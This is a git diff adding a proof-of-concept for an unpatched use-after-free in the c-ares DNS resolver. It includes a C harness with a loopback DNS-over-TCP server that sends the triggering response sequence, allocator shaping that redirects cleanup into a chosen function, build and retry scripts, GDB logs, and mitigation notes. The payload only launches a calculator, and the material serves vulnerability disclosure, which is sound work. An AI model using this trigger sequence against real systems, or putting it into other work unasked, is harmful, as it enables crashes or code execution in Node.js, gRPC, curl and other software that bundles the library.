diff --git a/README.md b/README.md index e39155f..ee4aa7f 100644 --- a/README.md +++ b/README.md @@ -10,6 +10,7 @@ Most folders contain one of my former standalone PoC repos, preserved with its o | --- | --- | ---: | | `7zip-rar5-motw-chain-poc` | `bd9533f532c1e4ee6af783b9bb49d1133c600e2c` | 3 | | `anydesk-printer-com-impersonation-poc` | `7491303301093b2d40bee9dadf6b38f757ce78e0` | 4 | +| `c-ares-tcp-uaf-calc-poc` | direct entry, June 24, 2026 | 7 | | `docker-cp-copyout-destination-escape` | `d1367b1381736d7f961ac808ce88d4e24a633adc` | 5 | | `floci-apigateway-vtl-rce-poc` | direct entry, June 23, 2026 | 3 | | `flowise-mcp-env-case-bypass-poc` | `ed9fab0086674f1b16467990b33bb9299e93429e` | 3 | @@ -42,4 +43,4 @@ Matching Git blob IDs means the tracked file bytes are identical. The check cove This repository preserves the contents of those PoCs. Repository-level metadata such as stars, issues, pull requests, releases, and separate Git history are not represented inside the folders. -Direct entries, including `floci-apigateway-vtl-rce-poc`, `libssh2-cve-2026-55200-poc`, `nmap-ipv6-extlen-wrap-poc`, and `systeminformer-phsvc-trusted-host-lpe-poc`, are authored in this repository and are tracked by this repository's commit history. +Direct entries, including `c-ares-tcp-uaf-calc-poc`, `floci-apigateway-vtl-rce-poc`, `libssh2-cve-2026-55200-poc`, `nmap-ipv6-extlen-wrap-poc`, and `systeminformer-phsvc-trusted-host-lpe-poc`, are tracked by this repository's commit history. diff --git a/c-ares-tcp-uaf-calc-poc/README.md b/c-ares-tcp-uaf-calc-poc/README.md new file mode 100644 index 0000000..be1c90a --- /dev/null +++ b/c-ares-tcp-uaf-calc-poc/README.md @@ -0,0 +1,217 @@ +# c-ares TCP `ares_getaddrinfo()` UAF calc PoC + +This directory contains a local, benign calculator proof for a c-ares TCP resolver use-after-free in the `ares_getaddrinfo()` path. + +The PoC drives c-ares through a loopback DNS-over-TCP server, shapes the freed c-ares allocation through the public `ares_library_init_mem()` allocator hook, and demonstrates that cleanup reaches an attacker-shaped indirect call: + +```text +ares_slist_node_destroy(node) + -> node->parent->destruct(node->data) + -> proof_marker() +``` + +The marker writes a proof file under `/tmp` and attempts to start a local calculator. On WSL it starts Windows Calculator. On Linux desktops it tries common calculator binaries. + +## Status + +Disclosure status: privately reported upstream; publication permitted while a fix is being staged. + +Verified targets: + +| Target | Commit | Result | +| --- | --- | --- | +| c-ares upstream `main` | `c93e50f3ebc0373fe57677523ec960f6c1cb0e15` | calculator proof reached | +| c-ares latest official release `v1.34.6` | `3ac47ee46edd8ea40370222f91613fc16c434853` | calculator proof reached | + +This is a local proof harness, not a universal exploit for every application that links c-ares. It demonstrates controlled code execution in the harness when the affected c-ares path, response sequence, allocator shaping, and cleanup path are present. + +## Files + +- `poc/cares_tcp_uaf_calc_poc.c` - standalone C proof harness and benign calc payload. +- `scripts/build_from_checkout.sh` - builds c-ares from a supplied checkout and links the PoC against the resulting static library. +- `scripts/run_until_hit.sh` - retries the probabilistic heap-layout proof until the marker path lands. +- `evidence/main-c93e50f3-gdb.txt` - sanitized GDB stack for upstream `main`. +- `evidence/v1.34.6-gdb.txt` - sanitized GDB stack for `v1.34.6`. +- `evidence/local-verification.txt` - local calculator and marker verification transcript. + +## Vulnerability Shape + +The reproduced path uses: + +- API: `ares_getaddrinfo()` +- Transport: DNS over TCP +- Channel flags: `ARES_FLAG_EDNS | ARES_FLAG_USEVC` +- Lookup mode: DNS only (`opts.lookups = "b"`) +- Response behavior: + - accept a TCP DNS query; + - return two responses for the same query id in one read; + - first response is `FORMERR` without OPT data, causing EDNS retry handling; + - second response is a successful empty response for the same query id; + - accept the retry write; + - reset the TCP connection before the next internal lookup write. + +The stale state is later consumed during query cleanup. In the control-flow proof, the stale `ares_query_t.node_queries_by_timeout` pointer is made to reference a shaped skip-list node. c-ares then calls the node parent list destructor, reaching the local marker function. + +The GDB evidence shows the useful call chain: + +```text +proof_marker() +ares_slist_node_destroy() +ares_query_remove_from_conn() +ares_detach_query() +ares_free_query() +read_answers() +process_read() +ares_process() +main() +``` + +## Build + +Build against current upstream `main`: + +```bash +git clone --depth 1 https://github.com/c-ares/c-ares.git /tmp/c-ares-main +./scripts/build_from_checkout.sh /tmp/c-ares-main /tmp/c-ares-main-build ./cares_tcp_uaf_calc_poc +``` + +Build against the latest release tag: + +```bash +git clone --depth 1 --branch v1.34.6 https://github.com/c-ares/c-ares.git /tmp/c-ares-v1.34.6 +./scripts/build_from_checkout.sh /tmp/c-ares-v1.34.6 /tmp/c-ares-v1.34.6-build ./cares_tcp_uaf_calc_poc +``` + +Dependencies: + +- Linux or WSL +- `gcc` +- `cmake` +- `git` +- POSIX sockets and pthreads + +The build script links a static PoC binary against the static `libcares.a` produced from the supplied checkout. + +## Run + +```bash +chmod +x ./cares_tcp_uaf_calc_poc +./scripts/run_until_hit.sh ./cares_tcp_uaf_calc_poc +``` + +Expected success: + +```text +CARES_RCE_PAYLOAD_TRIGGERED +run=N rc=77 +c-ares control-flow payload reached pid=... +``` + +The proof writes: + +```text +/tmp/cares_rce_proof_latest +``` + +Calculator launch order: + +1. WSL Windows Calculator through `/mnt/c/Windows/System32/calc.exe` +2. WSL Windows Calculator through `cmd.exe /c start "" calc.exe` +3. `xcalc` +4. `gnome-calculator` +5. `kcalc` + +If no GUI calculator is available, the marker file is still the reliable proof signal. + +## Reliability + +The control-flow path is heap-layout sensitive. A clean run can exit normally with `rc=0`, so the helper script retries. Local verification landed quickly: + +```text +upstream main c93e50f3: run=1 rc=77 +v1.34.6 release: run=1 rc=77 +``` + +A miss does not necessarily mean the target is fixed. Use the GDB evidence mode or retry loop when validating. + +## Why this is code execution and not only a crash + +The proof does not stop at a poisoned pointer crash. It shapes the stale pointer so that c-ares reaches a valid function pointer call through its own internal destructor mechanism. The payload is a benign local marker: + +```text +node->parent->destruct(node->data) +``` + +In the PoC, `destruct` points at `proof_marker()`. GDB confirms instruction pointer control at the marker and shows c-ares frames directly below it. + +## Limits + +This PoC intentionally uses c-ares' supported allocator hook to make the control-flow condition reproducible in a local harness. Real application exploitability depends on: + +- whether the application uses the affected `ares_getaddrinfo()` path; +- whether DNS over TCP and EDNS retry behavior are reachable; +- whether attacker-controlled DNS responses can drive the required sequence; +- allocator behavior and heap layout in the target process; +- process mitigations, sandboxing, and restart model; +- whether the target statically bundles c-ares or dynamically links the system library. + +Do not treat this source as a drop-in exploit for every c-ares consumer. Treat it as proof that the affected c-ares state machine can be driven from stale object cleanup into a controlled indirect call under the demonstrated conditions. + +## Reach + +c-ares is a low-level asynchronous DNS resolver, so the practical reach is larger than a single command-line tool. A vulnerable c-ares release may appear as a system shared library, a vendored static dependency, or a package-manager dependency. Whether a specific product is affected still requires confirming its bundled c-ares version and whether it exercises the vulnerable API/options. + +Major consumers and ecosystems to check: + +- **Node.js** - Node has historically bundled c-ares under `deps/cares` and labels c-ares/c-ares-wrap work as part of its DNS dependency surface. Node security releases have previously patched bundled c-ares vulnerabilities. Check the specific Node release and DNS API path. +- **gRPC** - gRPC documents the `ares` DNS resolver as the default on most platforms when built with c-ares support. Services using gRPC client-side DNS resolution should check whether their build enables the c-ares resolver. +- **Envoy Proxy** - Envoy documents c-ares as its default DNS resolution library and exposes c-ares DNS resolver configuration. This matters for proxies, gateways, and service-mesh deployments with dynamic DNS clusters. +- **curl/libcurl** - c-ares was originally created to provide asynchronous name resolution for curl. libcurl builds can use c-ares as one asynchronous DNS backend; whether a given curl build uses it depends on build flags and platform packaging. +- **Wireshark** - Wireshark release notes and build files identify c-ares as a required dependency for asynchronous DNS name resolution in captures. +- **Python async DNS stacks** - Tornado documents `tornado.platform.caresresolver` as a resolver using c-ares through `pycares`. Other Python packages such as `pycares` and `aiodns` may bring c-ares into applications. +- **Rust wrappers** - crates such as `c-ares` and higher-level resolver wrappers expose c-ares to Rust applications. +- **C/C++ package managers** - c-ares is packaged through Conan, vcpkg, Linux distributions, BSD ports, Homebrew-style package repositories, and similar dependency managers. Static consumers may remain vulnerable even after the system package is updated. + +Operationally, good triage questions are: + +```bash +ldd /path/to/binary | grep -i cares +readelf -d /path/to/binary | grep -i cares +strings /path/to/binary | grep -i 'c-ares\\|libcares\\|ares_getaddrinfo' +``` + +On macOS: + +```bash +otool -L /path/to/binary | grep -i cares +``` + +On Windows, inspect loaded modules or imports for `cares.dll`, `libcares.dll`, or statically linked c-ares symbols. + +## Mitigation Notes + +The correct mitigation is to apply the upstream c-ares fix once available and rebuild/redeploy all static consumers. Dynamic consumers need the patched shared library and a process restart. Static consumers need a product rebuild even if the operating system package has been fixed. + +Short-term risk reducers, where compatible with the application, include: + +- avoid forcing DNS over TCP for untrusted resolver paths; +- avoid resolver configurations where attacker-controlled DNS servers can drive application lookups; +- sandbox processes that perform resolver work; +- monitor for crashes or abnormal exits in DNS-heavy services; +- inventory static c-ares copies in language runtimes and appliances. + +## References + +- c-ares project: https://c-ares.org/ +- c-ares releases: https://c-ares.org/download/ +- c-ares GitHub: https://github.com/c-ares/c-ares +- gRPC resolver docs: https://grpc.github.io/grpc/cpp/md_doc_environment_variables.html +- Envoy DNS resolution docs: https://www.envoyproxy.io/docs/envoy/latest/intro/arch_overview/upstream/dns_resolution +- Envoy c-ares resolver API: https://www.envoyproxy.io/docs/envoy/latest/api-v3/extensions/network/dns_resolver/cares/v3/cares_dns_resolver.proto +- Tornado c-ares resolver docs: https://www.tornadoweb.org/en/stable/caresresolver.html +- Wireshark 3.4.0 release notes: https://www.wireshark.org/docs/relnotes/wireshark-3.4.0.html +- Node.js c-ares security update example: https://nodejs.org/en/blog/vulnerability/july-2017-security-releases + +## Responsible Use + +Run this PoC only against local research targets, owned systems, or explicitly authorized lab and CTF environments. diff --git a/c-ares-tcp-uaf-calc-poc/evidence/local-verification.txt b/c-ares-tcp-uaf-calc-poc/evidence/local-verification.txt new file mode 100644 index 0000000..1b77062 --- /dev/null +++ b/c-ares-tcp-uaf-calc-poc/evidence/local-verification.txt @@ -0,0 +1,14 @@ +c-ares upstream main +commit: c93e50f3ebc0373fe57677523ec960f6c1cb0e15 +result: run=1 rc=77 +stderr: CARES_RCE_PAYLOAD_TRIGGERED +marker: c-ares control-flow payload reached pid=6188 +desktop: CalculatorApp.exe started, ApplicationFrameHost title=Calculator + +c-ares latest official release +tag: v1.34.6 +commit: 3ac47ee46edd8ea40370222f91613fc16c434853 +result: run=1 rc=77 +stderr: CARES_RCE_PAYLOAD_TRIGGERED +marker: c-ares control-flow payload reached pid=3606 +desktop: CalculatorApp.exe started, ApplicationFrameHost title=Calculator diff --git a/c-ares-tcp-uaf-calc-poc/evidence/main-c93e50f3-gdb.txt b/c-ares-tcp-uaf-calc-poc/evidence/main-c93e50f3-gdb.txt new file mode 100644 index 0000000..87fa937 --- /dev/null +++ b/c-ares-tcp-uaf-calc-poc/evidence/main-c93e50f3-gdb.txt @@ -0,0 +1,18 @@ +Target: c-ares upstream main +Commit: c93e50f3ebc0373fe57677523ec960f6c1cb0e15 + +Thread 1 "cares_tcp_uaf_" hit Breakpoint 1, proof_marker (arg=0x544440) at poc/cares_tcp_uaf_calc_poc.c:64 + +#0 proof_marker (arg=0x544440) at poc/cares_tcp_uaf_calc_poc.c:64 +#1 0x0000000000418273 in ares_slist_node_destroy (node=0x5444b0) at c-ares-main/src/lib/dsa/ares_slist.c:461 +#2 0x0000000000409606 in ares_query_remove_from_conn (query=0x52daf0) at c-ares-main/src/lib/ares_process.c:72 +#3 0x000000000040bd1f in ares_detach_query (query=0x52daf0) at c-ares-main/src/lib/ares_process.c:1474 +#4 0x000000000040be2c in ares_free_query (query=0x52daf0) at c-ares-main/src/lib/ares_process.c:1512 +#5 0x000000000040a78c in read_answers (conn=0x52f830, now=0x7fffffffdee0) at c-ares-main/src/lib/ares_process.c:656 +#6 0x000000000040a86d in process_read (channel=0x528ab0, read_fd=3, now=0x7fffffffdee0) at c-ares-main/src/lib/ares_process.c:688 +#7 0x0000000000409a68 in ares_process_fds_nolock (channel=0x528ab0, events=0x530360, nevents=1, flags=0) at c-ares-main/src/lib/ares_process.c:214 +#8 0x0000000000409fdb in ares_process (channel=0x528ab0, read_fds=0x7fffffffe0b0, write_fds=0x7fffffffe130) at c-ares-main/src/lib/ares_process.c:367 +#9 0x000000000040324c in main (argc=2, argv=0x7fffffffe318) at poc/cares_tcp_uaf_calc_poc.c:488 + +rip 0x401d8b 0x401d8b +rdi 0x544440 5522496 diff --git a/c-ares-tcp-uaf-calc-poc/evidence/v1.34.6-gdb.txt b/c-ares-tcp-uaf-calc-poc/evidence/v1.34.6-gdb.txt new file mode 100644 index 0000000..0cba47f --- /dev/null +++ b/c-ares-tcp-uaf-calc-poc/evidence/v1.34.6-gdb.txt @@ -0,0 +1,19 @@ +Target: c-ares latest official release +Tag: v1.34.6 +Commit: 3ac47ee46edd8ea40370222f91613fc16c434853 + +Thread 1 "cares_tcp_uaf_" hit Breakpoint 1, proof_marker (arg=0x544440) at poc/cares_tcp_uaf_calc_poc.c:64 + +#0 proof_marker (arg=0x544440) at poc/cares_tcp_uaf_calc_poc.c:64 +#1 0x00000000004180c5 in ares_slist_node_destroy (node=0x5444b0) at c-ares-v1.34.6/src/lib/dsa/ares_slist.c:461 +#2 0x00000000004095e7 in ares_query_remove_from_conn (query=0x52dad0) at c-ares-v1.34.6/src/lib/ares_process.c:73 +#3 0x000000000040bd0f in ares_detach_query (query=0x52dad0) at c-ares-v1.34.6/src/lib/ares_process.c:1460 +#4 0x000000000040be1c in ares_free_query (query=0x52dad0) at c-ares-v1.34.6/src/lib/ares_process.c:1498 +#5 0x000000000040a818 in read_answers (conn=0x52f810, now=0x7fffffffdee0) at c-ares-v1.34.6/src/lib/ares_process.c:655 +#6 0x000000000040a8e0 in process_read (channel=0x528ab0, read_fd=3, now=0x7fffffffdee0) at c-ares-v1.34.6/src/lib/ares_process.c:691 +#7 0x0000000000409b32 in ares_process_fds_nolock (channel=0x528ab0, events=0x5303a0, nevents=1, flags=0) at c-ares-v1.34.6/src/lib/ares_process.c:227 +#8 0x000000000040a0a5 in ares_process (channel=0x528ab0, read_fds=0x7fffffffe0b0, write_fds=0x7fffffffe130) at c-ares-v1.34.6/src/lib/ares_process.c:380 +#9 0x000000000040324c in main (argc=2, argv=0x7fffffffe318) at poc/cares_tcp_uaf_calc_poc.c:488 + +rip 0x401d8b 0x401d8b +rdi 0x544440 5522496 diff --git a/c-ares-tcp-uaf-calc-poc/poc/cares_tcp_uaf_calc_poc.c b/c-ares-tcp-uaf-calc-poc/poc/cares_tcp_uaf_calc_poc.c new file mode 100644 index 0000000..869fdfd --- /dev/null +++ b/c-ares-tcp-uaf-calc-poc/poc/cares_tcp_uaf_calc_poc.c @@ -0,0 +1,495 @@ +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include "ares.h" + +typedef struct { + int port; + int ready_fd; + int udp_start; +} server_ctx_t; + +typedef struct tracked_hdr { + size_t size; + uint64_t magic; + struct tracked_hdr *next; + uint64_t pad; +} tracked_hdr_t; + +typedef void (*proof_destructor_t)(void *); + +typedef struct proof_slist { + void *rand_state; + unsigned char rand_data[8]; + size_t rand_bits; + void *head; + size_t levels; + void *tail; + void *cmp; + proof_destructor_t destruct; + size_t cnt; +} proof_slist_t; + +typedef struct proof_slist_node { + void *data; + struct proof_slist_node **prev; + struct proof_slist_node **next; + size_t levels; + proof_slist_t *parent; +} proof_slist_node_t; + +static int use_poison_allocator; +static int trace_allocator; +static int reuse_144; +static int control_call; +static unsigned char poison_byte = 0x43; +static tracked_hdr_t *free144; +static size_t alloc_seq; +static proof_slist_t *proof_list; +static proof_slist_node_t *proof_node; + +static void proof_marker(void *arg) +{ + const char msg[] = "CARES_RCE_PAYLOAD_TRIGGERED\n"; + const char cmd[] = + "proof=/tmp/cares_rce_proof_${PPID}; " + "printf 'c-ares control-flow payload reached pid=%s\\n' \"$$\" > \"$proof\"; " + "ln -sf \"$proof\" /tmp/cares_rce_proof_latest 2>/dev/null || true; " + "if [ -x /mnt/c/Windows/System32/cmd.exe ]; then " + " /mnt/c/Windows/System32/calc.exe >/dev/null 2>&1 || " + " /mnt/c/Windows/System32/cmd.exe /c start \"\" calc.exe >/dev/null 2>&1; " + "elif [ -x /mnt/c/Windows/System32/calc.exe ]; then " + " /mnt/c/Windows/System32/calc.exe >/dev/null 2>&1; " + "elif command -v xcalc >/dev/null 2>&1; then " + " xcalc >/dev/null 2>&1 & " + "elif command -v gnome-calculator >/dev/null 2>&1; then " + " gnome-calculator >/dev/null 2>&1 & " + "elif command -v kcalc >/dev/null 2>&1; then " + " kcalc >/dev/null 2>&1 & " + "fi"; + pid_t pid; + (void)arg; + write(STDERR_FILENO, msg, sizeof(msg) - 1); + pid = fork(); + if (pid == 0) { + execl("/bin/sh", "sh", "-c", cmd, (char *)NULL); + _exit(127); + } + if (pid > 0) { + waitpid(pid, NULL, 0); + } + _exit(77); +} + +static void *tracked_malloc(size_t size) +{ + tracked_hdr_t *hdr; + if (reuse_144 && size == 144 && free144 != NULL) { + hdr = free144; + free144 = hdr->next; + hdr->next = NULL; + memset(hdr + 1, 0x52, size); + if (trace_allocator) { + fprintf(stderr, "ALLOC%zu reuse144 %p\n", ++alloc_seq, (void *)(hdr + 1)); + } + return hdr + 1; + } + hdr = (tracked_hdr_t *)malloc(sizeof(*hdr) + size); + if (hdr == NULL) { + return NULL; + } + hdr->size = size; + hdr->magic = 0xc0decafef00dbeefu; + hdr->next = NULL; + memset(hdr + 1, 0x55, size); + if (trace_allocator && size == 144) { + fprintf(stderr, "ALLOC%zu size144 %p\n", ++alloc_seq, (void *)(hdr + 1)); + } + return hdr + 1; +} + +static void ensure_proof_node(void) +{ + if (proof_list != NULL && proof_node != NULL) { + return; + } + proof_list = (proof_slist_t *)tracked_malloc(sizeof(*proof_list)); + proof_node = (proof_slist_node_t *)tracked_malloc(sizeof(*proof_node)); + if (proof_list == NULL || proof_node == NULL) { + abort(); + } + memset(proof_list, 0, sizeof(*proof_list)); + memset(proof_node, 0, sizeof(*proof_node)); + proof_list->destruct = proof_marker; + proof_list->cnt = 1; + proof_node->data = proof_list; + proof_node->levels = 0; + proof_node->parent = proof_list; +} + +static void tracked_free(void *ptr) +{ + tracked_hdr_t *hdr; + if (ptr == NULL) { + return; + } + hdr = ((tracked_hdr_t *)ptr) - 1; + if (hdr->magic != 0xc0decafef00dbeefu) { + abort(); + } + if (trace_allocator && hdr->size == 144) { + fprintf(stderr, "FREE size144 %p\n", ptr); + } + if (control_call && hdr->size == 144) { + ensure_proof_node(); + memset(ptr, 0, hdr->size); + memcpy((unsigned char *)ptr + 48, &proof_node, sizeof(proof_node)); + } else { + memset(ptr, poison_byte, hdr->size); + } + if (reuse_144 && hdr->size == 144) { + hdr->next = free144; + free144 = hdr; + } +} + +static void *tracked_realloc(void *ptr, size_t size) +{ + tracked_hdr_t *old_hdr; + void *new_ptr; + size_t copy_len; + if (ptr == NULL) { + return tracked_malloc(size); + } + if (size == 0) { + tracked_free(ptr); + return NULL; + } + old_hdr = ((tracked_hdr_t *)ptr) - 1; + if (old_hdr->magic != 0xc0decafef00dbeefu) { + abort(); + } + new_ptr = tracked_malloc(size); + if (new_ptr == NULL) { + return NULL; + } + copy_len = old_hdr->size < size ? old_hdr->size : size; + memcpy(new_ptr, ptr, copy_len); + tracked_free(ptr); + return new_ptr; +} + +static void load_poison_byte(void) +{ + const char *env = getenv("CARES_PROOF_POISON_BYTE"); + char *end = NULL; + unsigned long value; + if (env == NULL || *env == '\0') { + return; + } + value = strtoul(env, &end, 0); + if (end != env && value <= 255) { + poison_byte = (unsigned char)value; + } + trace_allocator = getenv("CARES_PROOF_TRACE_ALLOC") != NULL; +} + + +static int read_exact(int fd, unsigned char *buf, size_t len) +{ + size_t off = 0; + while (off < len) { + ssize_t n = recv(fd, buf + off, len - off, 0); + if (n <= 0) { + return -1; + } + off += (size_t)n; + } + return 0; +} + +static size_t question_len(const unsigned char *msg, size_t len) +{ + size_t pos = 12; + if (len < pos) { + return 0; + } + while (pos < len && msg[pos] != 0) { + unsigned int l = msg[pos++]; + if (l > 63 || pos + l > len) { + return 0; + } + pos += l; + } + if (pos + 5 > len) { + return 0; + } + return pos + 5 - 12; +} + +static size_t make_dns(unsigned char *out, const unsigned char *query, + size_t query_len, unsigned char high_flags, + unsigned char low_flags, int tcp) +{ + size_t qlen = question_len(query, query_len); + size_t dns_len = 12 + qlen; + size_t off = tcp ? 2 : 0; + if (qlen == 0) { + return 0; + } + if (tcp) { + out[0] = (unsigned char)(dns_len >> 8); + out[1] = (unsigned char)(dns_len & 0xffu); + } + out[off + 0] = query[0]; + out[off + 1] = query[1]; + out[off + 2] = high_flags; + out[off + 3] = low_flags; + out[off + 4] = 0; + out[off + 5] = 1; + out[off + 6] = 0; + out[off + 7] = 0; + out[off + 8] = 0; + out[off + 9] = 0; + out[off + 10] = 0; + out[off + 11] = 0; + memcpy(out + off + 12, query + 12, qlen); + return off + dns_len; +} + +static void *server_thread(void *arg) +{ + server_ctx_t *ctx = (server_ctx_t *)arg; + int s = -1; + int u = -1; + int c = -1; + struct sockaddr_in sin; + struct sockaddr_in peer; + socklen_t slen; + socklen_t plen; + unsigned char hdr[2]; + unsigned char query[4096]; + unsigned char out[8192]; + unsigned char retry[4096]; + uint16_t qlen; + size_t n1; + size_t n2; + struct linger linger_opt; + + s = socket(AF_INET, SOCK_STREAM, 0); + if (s < 0) { + return NULL; + } + memset(&sin, 0, sizeof(sin)); + sin.sin_family = AF_INET; + sin.sin_addr.s_addr = htonl(INADDR_LOOPBACK); + sin.sin_port = 0; + if (bind(s, (struct sockaddr *)&sin, sizeof(sin)) != 0) { + close(s); + return NULL; + } + if (listen(s, 1) != 0) { + close(s); + return NULL; + } + slen = sizeof(sin); + if (getsockname(s, (struct sockaddr *)&sin, &slen) != 0) { + close(s); + return NULL; + } + ctx->port = ntohs(sin.sin_port); + if (ctx->udp_start) { + u = socket(AF_INET, SOCK_DGRAM, 0); + if (u < 0) { + close(s); + return NULL; + } + memset(&sin, 0, sizeof(sin)); + sin.sin_family = AF_INET; + sin.sin_addr.s_addr = htonl(INADDR_LOOPBACK); + sin.sin_port = htons((uint16_t)ctx->port); + if (bind(u, (struct sockaddr *)&sin, sizeof(sin)) != 0) { + close(u); + close(s); + return NULL; + } + } + write(ctx->ready_fd, "R", 1); + + if (ctx->udp_start) { + plen = sizeof(peer); + ssize_t got = recvfrom(u, query, sizeof(query), 0, + (struct sockaddr *)&peer, &plen); + if (got > 0) { + n1 = make_dns(out, query, (size_t)got, 0x83, 0, 0); + if (n1 != 0) { + sendto(u, out, n1, MSG_NOSIGNAL, (struct sockaddr *)&peer, plen); + } + } + close(u); + } + + c = accept(s, NULL, NULL); + if (c < 0) { + close(s); + return NULL; + } + if (read_exact(c, hdr, sizeof(hdr)) != 0) { + close(c); + close(s); + return NULL; + } + qlen = (uint16_t)(((unsigned int)hdr[0] << 8) | hdr[1]); + if (qlen > sizeof(query) || read_exact(c, query, qlen) != 0) { + close(c); + close(s); + return NULL; + } + n1 = make_dns(out, query, qlen, 0x81, 1, 1); + n2 = make_dns(out + n1, query, qlen, 0x81, 0, 1); + if (n1 != 0 && n2 != 0) { + send(c, out, n1 + n2, MSG_NOSIGNAL); + } + if (read_exact(c, hdr, sizeof(hdr)) == 0) { + qlen = (uint16_t)(((unsigned int)hdr[0] << 8) | hdr[1]); + if (qlen <= sizeof(retry)) { + read_exact(c, retry, qlen); + } + } + linger_opt.l_onoff = 1; + linger_opt.l_linger = 0; + setsockopt(c, SOL_SOCKET, SO_LINGER, &linger_opt, sizeof(linger_opt)); + close(c); + close(s); + return NULL; +} + +static void ai_cb(void *arg, int status, int timeouts, + struct ares_addrinfo *res) +{ + int *done = (int *)arg; + (void)status; + (void)timeouts; + if (res != NULL) { + ares_freeaddrinfo(res); + } + *done = 1; +} + +int main(int argc, char **argv) +{ + int pipefd[2]; + pthread_t tid; + server_ctx_t ctx; + ares_channel_t *channel = NULL; + struct ares_options opts; + struct ares_addrinfo_hints hints; + int optmask = ARES_OPT_FLAGS | ARES_OPT_LOOKUPS; + char server[64]; + int done = 0; + int loops = 0; + char ch; + + signal(SIGPIPE, SIG_IGN); + memset(&ctx, 0, sizeof(ctx)); + if (argc > 1 && strcmp(argv[1], "udp") == 0) { + ctx.udp_start = 1; + } + if (argc > 1 && strcmp(argv[1], "poison") == 0) { + use_poison_allocator = 1; + } + if (argc > 1 && strcmp(argv[1], "reuse144") == 0) { + use_poison_allocator = 1; + reuse_144 = 1; + } + if (argc > 1 && strcmp(argv[1], "controlcall") == 0) { + use_poison_allocator = 1; + control_call = 1; + } + if (argc > 2 && strcmp(argv[2], "poison") == 0) { + use_poison_allocator = 1; + } + if (argc > 2 && strcmp(argv[2], "reuse144") == 0) { + use_poison_allocator = 1; + reuse_144 = 1; + } + if (argc > 2 && strcmp(argv[2], "controlcall") == 0) { + use_poison_allocator = 1; + control_call = 1; + } + load_poison_byte(); + if (pipe(pipefd) != 0) { + return 2; + } + ctx.ready_fd = pipefd[1]; + if (pthread_create(&tid, NULL, server_thread, &ctx) != 0) { + return 2; + } + if (read(pipefd[0], &ch, 1) != 1) { + return 2; + } + close(pipefd[0]); + close(pipefd[1]); + + if (use_poison_allocator) { + if (trace_allocator) { + fprintf(stderr, "allocator mode poison=%02x reuse144=%d\n", + (unsigned int)poison_byte, reuse_144); + } + ares_library_init_mem(ARES_LIB_INIT_ALL, tracked_malloc, tracked_free, + tracked_realloc); + } else { + ares_library_init(ARES_LIB_INIT_ALL); + } + memset(&opts, 0, sizeof(opts)); + opts.flags = ARES_FLAG_EDNS; + if (!ctx.udp_start) { + opts.flags |= ARES_FLAG_USEVC; + } + opts.lookups = (char *)"b"; + if (ares_init_options(&channel, &opts, optmask) != ARES_SUCCESS || + channel == NULL) { + return 2; + } + snprintf(server, sizeof(server), "127.0.0.1:%d", ctx.port); + if (ares_set_servers_ports_csv(channel, server) != ARES_SUCCESS) { + return 2; + } + memset(&hints, 0, sizeof(hints)); + hints.ai_family = AF_INET; + ares_getaddrinfo(channel, "example.com", "80", &hints, ai_cb, &done); + + while (!done && loops++ < 100) { + fd_set rfds; + fd_set wfds; + int nfds; + struct timeval tv; + struct timeval *tvp; + FD_ZERO(&rfds); + FD_ZERO(&wfds); + nfds = ares_fds(channel, &rfds, &wfds); + if (nfds == 0) { + break; + } + tvp = ares_timeout(channel, NULL, &tv); + select(nfds, &rfds, &wfds, NULL, tvp); + ares_process(channel, &rfds, &wfds); + } + + ares_destroy(channel); + ares_library_cleanup(); + pthread_join(tid, NULL); + return done ? 0 : 1; +} diff --git a/c-ares-tcp-uaf-calc-poc/scripts/build_from_checkout.sh b/c-ares-tcp-uaf-calc-poc/scripts/build_from_checkout.sh new file mode 100755 index 0000000..3b2ff44 --- /dev/null +++ b/c-ares-tcp-uaf-calc-poc/scripts/build_from_checkout.sh @@ -0,0 +1,32 @@ +#!/usr/bin/env bash +set -euo pipefail + +if [ "$#" -lt 2 ]; then + echo "usage: $0 /path/to/c-ares /path/to/build-dir [output-binary]" >&2 + exit 2 +fi + +srcdir=$1 +builddir=$2 +out=${3:-cares_tcp_uaf_calc_poc} +jobs=${JOBS:-4} +root=$(cd "$(dirname "$0")/.." && pwd) + +cmake -S "$srcdir" -B "$builddir" \ + -DCARES_SHARED=OFF \ + -DCARES_STATIC=ON \ + -DCARES_BUILD_TESTS=OFF \ + -DCARES_BUILD_TOOLS=OFF \ + -DCMAKE_BUILD_TYPE=Debug + +cmake --build "$builddir" --target c-ares --parallel "$jobs" + +gcc -static -g -O0 -Wall -Wextra \ + -I"$srcdir/include" \ + -I"$builddir" \ + "$root/poc/cares_tcp_uaf_calc_poc.c" \ + "$builddir/lib/libcares.a" \ + -pthread \ + -o "$out" + +file "$out" diff --git a/c-ares-tcp-uaf-calc-poc/scripts/run_until_hit.sh b/c-ares-tcp-uaf-calc-poc/scripts/run_until_hit.sh new file mode 100755 index 0000000..61fcb59 --- /dev/null +++ b/c-ares-tcp-uaf-calc-poc/scripts/run_until_hit.sh @@ -0,0 +1,20 @@ +#!/usr/bin/env bash +set -euo pipefail + +bin=${1:-./cares_tcp_uaf_calc_poc} +tries=${TRIES:-25} + +rm -f /tmp/cares_rce_proof_* + +for i in $(seq 1 "$tries"); do + set +e + "$bin" controlcall + rc=$? + set -e + echo "run=$i rc=$rc" + if [ "$rc" -eq 77 ]; then + break + fi +done + +cat /tmp/cares_rce_proof_latest 2>/dev/null || true